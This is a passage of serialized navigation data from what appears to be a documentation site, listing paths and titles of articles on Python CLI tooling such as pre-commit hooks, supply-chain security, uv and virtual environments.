Poetry",{"path":2730,"title":2731},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects","Pre-commit Hooks for CLI Projects",{"path":2733,"title":2734},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fkeeping-hook-versions-current-with-autoupdate","Keeping pre-commit Hook Versions Current with autoupdate",{"path":2736,"title":2737},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Frunning-pre-commit-in-ci","Running pre-commit in CI for a Python CLI Repository",{"path":2739,"title":2740},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fsetting-up-pre-commit-for-python-cli-repos","Setting up pre-commit for Python CLI repos",{"path":2742,"title":2743},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fshipping-your-cli-as-a-pre-commit-hook","Shipping Your Python CLI as a pre-commit Hook",{"path":2745,"title":2746},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fspeeding-up-slow-pre-commit-hooks","Speeding Up Slow pre-commit Hooks in a CLI Repository",{"path":2748,"title":2749},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fwriting-local-pre-commit-hooks-in-python","Writing Local pre-commit Hooks in Python",{"path":2751,"title":2752},"\u002Fproject-setup-dependency-management\u002Fsecuring-a-python-cli-supply-chain\u002Fauditing-dependencies-with-pip-audit","Auditing a Python CLI’s Dependencies with pip-audit",{"path":2754,"title":2755},"\u002Fproject-setup-dependency-management\u002Fsecuring-a-python-cli-supply-chain\u002Fgenerating-an-sbom-for-a-python-cli","Generating an SBOM for a Python CLI Release",{"path":2757,"title":2758},"\u002Fproject-setup-dependency-management\u002Fsecuring-a-python-cli-supply-chain","Securing the Supply Chain of a Python CLI",{"path":2760,"title":2761},"\u002Fproject-setup-dependency-management\u002Fsecuring-a-python-cli-supply-chain\u002Fpinning-dependencies-with-hashes","Pinning a Python CLI’s Dependencies with Hashes",{"path":2763,"title":2764},"\u002Fproject-setup-dependency-management\u002Fsecuring-a-python-cli-supply-chain\u002Fpublishing-attestations-and-verifying-releases","Publishing Attestations and Verifying Python CLI Releases",{"path":2766,"title":2767},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fbuilding-and-publishing-a-cli-with-uv","Building and Publishing a Python CLI with uv",{"path":2769,"title":2770},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management","uv for Python CLI Dependency Management",{"path":2772,"title":2773},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Flocking-and-syncing-cli-dependencies-with-uv","Locking and Syncing a Python CLI’s Dependencies with uv",{"path":2775,"title":2776},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Frunning-one-off-cli-scripts-with-uv-run","Running One-Off CLI Scripts with uv run and PEP 723",{"path":2778,"title":2779},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fusing-private-package-indexes-with-uv","Using Private Package Indexes with uv for Internal CLIs",{"path":2781,"title":2782},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fuv-init-vs-poetry-init-for-cli-tools","uv init vs poetry init for CLI tools",{"path":2784,"title":2785},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fuv-tool-install-vs-pipx-for-clis","uv tool install vs pipx for CLIs",{"path":2787,"title":2788},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fuv-workspaces-for-multi-package-clis","uv Workspaces for Multi-Package Python CLIs",{"path":2790,"title":2791},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fdebugging-wrong-python-and-wrong-venv-problems","Debugging Wrong-Python and Wrong-Venv Problems in CLIs",{"path":2793,"title":2794},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fexternally-managed-environments-and-pep-668","PEP 668 and Python CLIs: the externally-managed-environment Error",{"path":2796,"title":2797},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices","Python CLI Env Isolation Best Practices",{"path":2799,"title":2800},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fisolating-cli-tools-from-project-dependencies","Isolating CLI Tools from Your Project’s Dependencies",{"path":2802,"title":2803},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fmanaging-virtual-environments-for-cross-platform-clis","Managing Python CLI Virtual Environments",{"path":2805,"title":2806},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fpinning-the-python-version-for-a-cli","Pinning the Python Version for a CLI",{"path":2808,"title":2809},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fsupporting-multiple-python-versions-with-nox","Supporting Multiple Python Versions with nox",1790967537214]